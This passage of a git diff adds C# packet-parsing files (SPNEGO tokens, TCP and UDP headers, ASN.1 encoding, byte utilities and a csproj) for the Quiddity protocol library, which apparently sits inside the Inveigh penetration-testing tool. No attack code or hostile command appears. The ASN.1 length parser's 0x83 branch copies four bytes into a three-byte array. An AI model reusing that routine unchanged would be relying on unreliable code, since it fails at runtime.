+ this.Data = new byte[4] { 0x01, 0x00, 0x2, 0x00 };
+ packetWriter.Write(this.ContextType);
+ packetWriter.Write(this.DataLength);
+ packetWriter.Write(this.Reserved);
+ packetWriter.Write(this.Data);
+ packetWriter.Write(new byte[4] { 0x000, 0x00, 0x00, 0x00 });
+ }
+
+ if (contextTypes.Contains("3"))
+ {
+ this.ContextType = 3;
+ this.DataLength = 12;
+ this.Data = new byte[12] { 0x02, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x02, 0x00, 0x04, 0x00 };
+ packetWriter.Write(this.ContextType);
+ packetWriter.Write(this.DataLength);
+ packetWriter.Write(this.Reserved);
+ packetWriter.Write(this.Data);
+ }
+
+ return memoryStream.ToArray();
+ }
+
+ }
+
+ }
+
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SPNEGO/SPNEGONegTokenInit.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SPNEGO/SPNEGONegTokenInit.cs
new file mode 100644
index 0000000..8e57949
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SPNEGO/SPNEGONegTokenInit.cs
@@ -0,0 +1,64 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using Quiddity.Support;
+
+namespace Quiddity.SPNEGO
+{
+ class SPNEGONegTokenInit
+ {
+ /*
+ https://tools.ietf.org/html/rfc4178#appendix-A
+ */
+ public byte[] MechTypes { get; set; }
+ public byte[] ReqFlags { get; set; }
+ public byte[] MechToken { get; set; }
+ public byte[] MechListMIC { get; set; }
+ public byte[] NegHints { get; set; }
+
+ public SPNEGONegTokenInit()
+ {
+ this.MechTypes = new byte[0];
+ this.ReqFlags = new byte[10];
+ this.MechToken = new byte[0];
+ this.MechListMIC = new byte[0];
+ this.NegHints = new byte[0];
+ }
+
+ public void Decode(byte[] data)
+ {
+ this.MechTypes = ASN1.GetTagBytes(6, data);
+ this.MechToken = ASN1.GetTagBytes(4, data);
+ }
+
+ }
+
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SPNEGO/SPNEGONegTokenResp.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SPNEGO/SPNEGONegTokenResp.cs
new file mode 100644
index 0000000..5b4e27c
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SPNEGO/SPNEGONegTokenResp.cs
@@ -0,0 +1,55 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+namespace Quiddity.SPNEGO
+{
+ class SPNEGONegTokenResp
+ {
+ /*
+ https://tools.ietf.org/html/rfc4178#appendix-A
+ */
+ public byte NegState { get; set; }
+ public byte[] SupportedMech { get; set; }
+ public byte[] ResponseToken { get; set; }
+ public byte[] MechListMIC { get; set; }
+
+ public SPNEGONegTokenResp()
+ {
+ this.NegState = 0;
+ this.SupportedMech = new byte[10]; // todo check
+ this.ResponseToken = new byte[0];
+ this.MechListMIC = new byte[0];
+ }
+
+ }
+
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Protocols/TCP/TCPHeader.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/TCP/TCPHeader.cs
new file mode 100644
index 0000000..28c3ba9
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/TCP/TCPHeader.cs
@@ -0,0 +1,124 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.TCP
+{
+ class TCPHeader
+ {
+ // https://datatracker.ietf.org/doc/html/rfc793#section-3.1
+ public ushort SourcePort { get; set; }
+ public ushort DestinationPort { get; set; }
+ public uint SequenceNumber { get; set; }
+ public uint AcknowledgementNumber { get; set; }
+ public int DataOffset { get; set; }
+ public int Reserved { get; set; }
+ public bool URG { get; set; }
+ public bool ACK { get; set; }
+ public bool PSH { get; set; }
+ public bool RST { get; set; }
+ public bool SYN { get; set; }
+ public bool FIN { get; set; }
+ public ushort Window { get; set; }
+ public ushort Checksum { get; set; }
+ public ushort UrgentPointer { get; set; }
+ public byte[] Options { get; set; }
+ public byte[] Padding { get; set; }
+
+ // custom
+ public string Flags { get; set; }
+
+ public void ReadBytes(byte[] data, int position)
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream(data))
+ {
+ PacketReader packetReader = new PacketReader(memoryStream);
+ memoryStream.Position = position;
+ this.SourcePort = packetReader.BigEndianReadUInt16();
+ this.DestinationPort = packetReader.BigEndianReadUInt16();
+ this.SequenceNumber = packetReader.BigEndianReadUInt32();
+ this.AcknowledgementNumber = packetReader.BigEndianReadUInt32();
+ this.Flags = packetReader.ReadBinary(2);
+ ReadFlags();
+ this.Window = packetReader.BigEndianReadUInt16();
+ this.Checksum = packetReader.BigEndianReadUInt16();
+ this.UrgentPointer = packetReader.BigEndianReadUInt16();
+ this.Options = packetReader.BigEndianReadBytes(3);
+ this.Padding = packetReader.BigEndianReadBytes(3);
+ }
+
+ }
+
+ protected virtual void ReadFlags()
+ {
+ this.DataOffset = Convert.ToInt32(this.Flags.Substring(0, 4), 2) * 4;
+ this.Reserved = Convert.ToInt32(this.Flags.Substring(4, 3), 2);
+
+ if (string.Equals(this.Flags.Substring(10, 1), "1"))
+ {
+ this.URG = true;
+ }
+
+ if (string.Equals(this.Flags.Substring(11, 1), "1"))
+ {
+ this.ACK = true;
+ }
+
+ if (string.Equals(this.Flags.Substring(12, 1), "1"))
+ {
+ this.PSH = true;
+ }
+
+ if (string.Equals(this.Flags.Substring(13, 1), "1"))
+ {
+ this.RST = true;
+ }
+
+ if (string.Equals(this.Flags.Substring(14, 1), "1"))
+ {
+ this.SYN = true;
+ }
+
+ if (string.Equals(this.Flags.Substring(15, 1), "1"))
+ {
+ this.FIN = true;
+ }
+
+ }
+
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Protocols/UDP/UDPHeader.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/UDP/UDPHeader.cs
new file mode 100644
index 0000000..f6e8671
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/UDP/UDPHeader.cs
@@ -0,0 +1,130 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.IO;
+using System.Net;
+
+namespace Quiddity.UDP
+{
+ class UDPHeader
+ {
+ // https://tools.ietf.org/html/rfc768
+ public ushort SourcePort { get; set; }
+ public ushort DestinationPort { get; set; }
+ public ushort Length { get; set; }
+ public ushort Checksum { get; set; }
+
+ public UDPHeader()
+ {
+ this.SourcePort = 0;
+ this.DestinationPort = 0;
+ this.Length = 0;
+ this.Checksum = 0;
+ }
+
+ public UDPHeader(byte[] data, int offset)
+ {
+ ReadBytes(data, offset);
+ }
+
+ public UDPHeader ReadBytes(byte[] data, int offset)
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream(data))
+ {
+ PacketReader packetReader = new PacketReader(memoryStream);
+ memoryStream.Position = offset;
+ this.SourcePort = packetReader.BigEndianReadUInt16();
+ this.DestinationPort = packetReader.BigEndianReadUInt16();
+ this.Length = packetReader.BigEndianReadUInt16();
+ this.Checksum = packetReader.ReadUInt16();
+ return this;
+ }
+
+ }
+
+ public byte[] GetBytes()
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream())
+ {
+ PacketWriter packetWriter = new PacketWriter(memoryStream);
+ packetWriter.BigEndianWrite(this.SourcePort);
+ packetWriter.BigEndianWrite(this.DestinationPort);
+ packetWriter.BigEndianWrite(this.Length);
+ packetWriter.Write(this.Checksum);
+ return memoryStream.ToArray();
+ }
+
+ }
+
+ public void IPv6Checksum(byte[] data, string clientIP, string sourceIP, int nextHeader)
+ {
+ byte[] pseudoHeader = IPv6PseudoHeader(clientIP, sourceIP, nextHeader, data.Length);
+ int e = 0;
+
+ if ((pseudoHeader.Length + data.Length) % 2 != 0)
+ {
+ e = 1;
+ }
+
+ byte[] packet = new byte[pseudoHeader.Length + data.Length + e];
+ Buffer.BlockCopy(pseudoHeader, 0, packet, 0, pseudoHeader.Length);
+ Buffer.BlockCopy(data, 0, packet, pseudoHeader.Length, data.Length);
+ uint packetChecksum = 0;
+ int index = 0;
+
+ while (index < packet.Length)
+ {
+ packetChecksum += Convert.ToUInt32(BitConverter.ToUInt16(packet, index));
+ index += 2;
+ }
+
+ packetChecksum = (packetChecksum >> 16) + (packetChecksum & 0xffff);
+ packetChecksum += (packetChecksum >> 16);
+ this.Checksum = (ushort)~packetChecksum;
+ }
+
+ private byte[] IPv6PseudoHeader(string clientIP, string sourceIP, int nextHeader, int length)
+ {
+ byte[] lengthData = BitConverter.GetBytes(length);
+ Array.Reverse(lengthData);
+ byte[] pseudoHeader = new byte[40];
+ Buffer.BlockCopy(IPAddress.Parse(sourceIP).GetAddressBytes(), 0, pseudoHeader, 0, 16);
+ Buffer.BlockCopy(IPAddress.Parse(clientIP).GetAddressBytes(), 0, pseudoHeader, 16, 16);
+ Buffer.BlockCopy(lengthData, 0, pseudoHeader, 32, 4);
+ pseudoHeader[39] = (byte)nextHeader;
+ return pseudoHeader;
+ }
+
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Quiddity.csproj b/Inveigh/Protocols/Quiddity/Quiddity/Quiddity.csproj
new file mode 100644
index 0000000..4b462b6
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Quiddity.csproj
@@ -0,0 +1,55 @@
+<Project Sdk="Microsoft.NET.Sdk">
+
+ <PropertyGroup>
+ <TargetFrameworks>net35;net45;net5.0</TargetFrameworks>
+ </PropertyGroup>
+
+ <PropertyGroup>
+ <!-- https://github.com/dotnet/msbuild/issues/1333#issuecomment-296346352 -->
+ <FrameworkPathOverride Condition="'$(TargetFramework)' == 'net35'">$(MSBuildProgramFiles32)\Reference Assemblies\Microsoft\Framework\.NETFramework\v3.5\Profile\Client</FrameworkPathOverride>
+ <AutomaticallyUseReferenceAssemblyPackages Condition=" '$(TargetFramework)' == 'net35' ">false</AutomaticallyUseReferenceAssemblyPackages>
+ <Version>0.0.0-alpha</Version>
+ <Authors>Kevin Robertson</Authors>
+ <Company />
+ <Description>Quiddity is a protocol library designed for infosec testing and defense related tasks. Quiddity has partial implementation for many protocols including DNS, LLMNR, mDNS, SMB2, LDAP, and DHCPv6.</Description>
+ <PackageProjectUrl>https://github.com/Kevin-Robertson/Quiddity</PackageProjectUrl>
+ <RepositoryUrl>https://github.com/Kevin-Robertson/Quiddity.git</RepositoryUrl>
+ <RepositoryType>git</RepositoryType>
+ <PackageTags>penetration testing, red team, blue team, purple team, packet, packets, LLMNR, NBNS, mDNS, DNS, SMB, LDAP, HTTP</PackageTags>
+ <PackageReleaseNotes>initial alpha version</PackageReleaseNotes>
+ <Copyright>Copyright (c) 2021 Kevin Robertson</Copyright>
+ <PackageLicenseFile>LICENSE</PackageLicenseFile>
+ <AssemblyVersion>0.0.0.0</AssemblyVersion>
+ <FileVersion>0.0.0.0</FileVersion>
+ </PropertyGroup>
+
+ <ItemGroup Condition="'$(TargetFramework)' == 'net35'">
+ <Reference Include="System.DirectoryServices.Protocols">
+ <HintPath>$(WINDIR)\Microsoft.NET\Framework64\v2.0.50727\System.DirectoryServices.Protocols.dll</HintPath>
+ <private>False</private>
+ </Reference>
+ </ItemGroup>
+
+
+ <ItemGroup Condition="'$(TargetFramework)' == 'net45'">
+ <PackageReference Include="System.DirectoryServices.Protocols">
+ <Version>5.0</Version>
+ </PackageReference>
+ </ItemGroup>
+
+
+ <ItemGroup Condition="'$(TargetFramework)' == 'net5.0'">
+ <PackageReference Include="System.DirectoryServices.Protocols">
+ <Version>5.0</Version>
+ </PackageReference>
+ </ItemGroup>
+
+
+ <ItemGroup>
+ <None Include="..\LICENSE">
+ <Pack>True</Pack>
+ <PackagePath></PackagePath>
+ </None>
+ </ItemGroup>
+
+</Project>
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Support/ASN1.cs b/Inveigh/Protocols/Quiddity/Quiddity/Support/ASN1.cs
new file mode 100644
index 0000000..b1862c7
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Support/ASN1.cs
@@ -0,0 +1,284 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Text;
+
+namespace Quiddity.Support
+{
+ // https://github.com/mono/mono/blob/main/mcs/class/Mono.Security/Mono.Security/ASN1.cs
+
+ class ASN1
+ {
+ public byte[] Tag { get; set; }
+ public byte[] Length { get; set; }
+ public byte[] Value { get; set; }
+
+ public ASN1()
+ {
+ this.Tag = new byte[1];
+ this.Length = new byte[1];
+ this.Value = new byte[0];
+ }
+
+ public byte[] GetBytes(ASN1 packet)
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream())
+ {
+ PacketWriter packetWriter = new PacketWriter(memoryStream);
+ packetWriter.Write(packet.Tag);
+ packetWriter.Write(packet.Length);
+ packetWriter.Write(packet.Value);
+ return memoryStream.ToArray();
+ }
+
+ }
+
+ public byte[] GetTagBytes(byte[] data, ref int index, int length, byte tag, out byte tagDecoded)
+ {
+ tagDecoded = 0x00;
+ byte[] value = new byte[0];
+ int valueLength;
+
+ while (index < length - 1 && tag != tagDecoded)
+ {
+ DecodeTag(data, ref index, out tagDecoded, out valueLength, out value);
+
+ if (tagDecoded == 0 || tag == tagDecoded)
+ {
+ continue;
+ }
+
+ if ((tagDecoded & 0x20) == 0x20)
+ {
+ int decodePosistion = index;
+ value = GetTagBytes(data, ref decodePosistion, (decodePosistion + valueLength), tag, out tagDecoded);
+ }
+
+ index += valueLength;
+ }
+
+ return value;
+ }
+
+ public byte GetTag(byte[] data)
+ {
+ byte tagDecoded;
+ byte[] value;
+ int valueLength;
+ int index = 0;
+
+ DecodeTag(data, ref index, out tagDecoded, out valueLength, out value);
+ return tagDecoded;
+ }
+
+ public static byte[] GetTagBytes(int tag, byte[] data)
+ {
+ byte tagDecoded = 0x00;
+ int index = 0;
+ ASN1 asn1 = new ASN1();
+ return asn1.GetTagBytes(data, ref index, data.Length, (byte)tag, out tagDecoded);
+ }
+
+ public static byte[] GetTagBytes(int tag, byte[] data, int index)
+ {
+ byte tagDecoded = 0x00;
+ ASN1 asn1 = new ASN1();
+ return asn1.GetTagBytes(data, ref index, data.Length, (byte)tag, out tagDecoded);
+ }
+
+ public byte[] Decode(byte[] data, ref int index, int length)
+ {
+ byte tag;
+ byte[] value = new byte[0];
+ int valueLength;
+ int i = 0;
+
+ while (index < length - 1)
+ {
+ DecodeTag(data, ref index, out tag, out valueLength, out value);
+
+ if (tag == 0)
+ {
+ continue;
+ }
+
+ if((tag & 0x20) == 0x20)
+ {
+ int decodePosistion = index;
+ value = Decode(data, ref decodePosistion, (decodePosistion + valueLength));
+ }
+
+ index += valueLength;
+ i++;
+
+ }
+
+ return value;
+ }
+
+ public void DecodeTag(byte[] data, ref int index, out byte tag, out int length, out byte[] value)
+ {
+ tag = data[index++];
+ length = data[index++];
+
+ if ((length & 0x80) == 0x80)
+ {
+ int lengthCount = length & 0x7f;
+ length = 0;
+
+ for (int i = 0; i < lengthCount; i++)
+ {
+ length = length * 256 + data[index++];
+ }
+
+ }
+
+ value = new byte[length];
+ Buffer.BlockCopy(data, index, value, 0, length);
+ }
+
+ public byte[] Encode(byte tag, byte[] data)
+ {
+ int dataLength = data.Length;
+ this.Tag[0] = tag;
+
+ if (dataLength <= 127)
+ {
+ this.Length[0] = (byte)dataLength;
+ }
+ else if (dataLength <= 255)
+ {
+ this.Length = new byte[2];
+ this.Length[0] = 0x81;
+ this.Length[1] = (byte)dataLength;
+ }
+ else if (dataLength > 255)
+ {
+ this.Length = new byte[3];
+ this.Length[0] = 0x82;
+ this.Length[1] = (byte)(dataLength >> 8);
+ this.Length[2] = (byte)(dataLength);
+ }
+
+ return Utilities.BlockCopy(this.Tag, this.Length, data);
+ }
+
+ public static byte[] Encode(int tag, byte[] data)
+ {
+ ASN1 asn1 = new ASN1();
+ return asn1.Encode((byte)tag, data);
+ }
+
+ public static string[] DecodeOctetStringArray (byte[] data)
+ {
+ int index = Array.IndexOf<byte>(data, 0x04, 0);
+ List<string> list = new List<string>();
+
+ using (MemoryStream memoryStream = new MemoryStream(data))
+ {
+ PacketReader packetReader = new PacketReader(memoryStream);
+
+ while (index > -1)
+ {
+ memoryStream.Position += 2;
+ list.Add(Encoding.UTF8.GetString(packetReader.ReadBytes(data[index + 1])));
+ index = Array.IndexOf<byte>(data, 0x04, (int)memoryStream.Position);
+ }
+
+ }
+
+ return list.ToArray();
+ }
+
+ public static int GetLength(int index, byte[] data)
+ {
+ int length = 0;
+
+ switch (data[index])
+ {
+
+ case 0x84:
+ {
+ index++;
+ byte[] lengthData = new byte[4];
+ Buffer.BlockCopy(data, index, lengthData, 0, 4);
+ Array.Reverse(lengthData);
+ length = BitConverter.ToInt32(lengthData, 0);
+ length += 4;
+ }
+ break;
+
+ case 0x83:
+ {
+ index++;
+ byte[] lengthData = new byte[3];
+ Buffer.BlockCopy(data, index, lengthData, 0, 4);
+ Array.Reverse(lengthData);
+ length = BitConverter.ToInt32(lengthData, 0);
+ length += 3;
+ }
+ break;
+
+ case 0x82:
+ {
+ index++;
+ byte[] lengthData = new byte[2];
+ Buffer.BlockCopy(data, index, lengthData, 0, 2);
+ Array.Reverse(lengthData);
+ length = BitConverter.ToInt16(lengthData, 0);
+ length += 2;
+ }
+ break;
+
+ case 0x81:
+ {
+ length = data[index++];
+ length += 3;
+ }
+ break;
+
+ default:
+ length = data[index];
+ length += 2;
+ break;
+
+ }
+
+ return length;
+ }
+
+ }
+
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Support/Utilities.cs b/Inveigh/Protocols/Quiddity/Quiddity/Support/Utilities.cs
new file mode 100644
index 0000000..51c994a
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Support/Utilities.cs
@@ -0,0 +1,126 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.Support
+{
+ class Utilities
+ {
+
+ public static byte[] BlockCopy(byte[] Data1, byte[] Data2)
+ {
+ byte[] data = new byte[Data1.Length + Data2.Length];
+ Buffer.BlockCopy(Data1, 0, data, 0, Data1.Length);
+ Buffer.BlockCopy(Data2, 0, data, Data1.Length, Data2.Length);
+ return data;
+ }
+
+ public static byte[] BlockCopy(byte[] Data1, byte[] Data2, byte[] Data3)
+ {
+ byte[] data = new byte[Data1.Length + Data2.Length + Data3.Length];
+ Buffer.BlockCopy(Data1, 0, data, 0, Data1.Length);
+ Buffer.BlockCopy(Data2, 0, data, Data1.Length, Data2.Length);
+ Buffer.BlockCopy(Data3, 0, data, (Data1.Length + Data2.Length), Data3.Length);
+ return data;
+ }
+
+ public static byte[] BlockCopy(byte[] Data1, byte[] Data2, byte[] Data3, byte[] Data4)
+ {
+ byte[] data = new byte[Data1.Length + Data2.Length + Data3.Length + Data4.Length];
+ Buffer.BlockCopy(Data1, 0, data, 0, Data1.Length);
+ Buffer.BlockCopy(Data2, 0, data, Data1.Length, Data2.Length);
+ Buffer.BlockCopy(Data3, 0, data, (Data1.Length + Data2.Length), Data3.Length);
+ Buffer.BlockCopy(Data4, 0, data, (Data1.Length + Data2.Length + Data3.Length), Data4.Length);
+ return data;
+ }
+
+ public static bool ArrayIsNullOrEmpty(Array array)
+ {
+ return (array == null || array.Length == 0);
+ }
+
+ public static ushort DataToUInt16(byte[] data)
+ {
+ return BitConverter.ToUInt16(data, 0);
+ }
+
+ public static byte[] GetDNSNameBytes(string name, bool addByte)
+ {
+ var indexList = new List<int>();
+
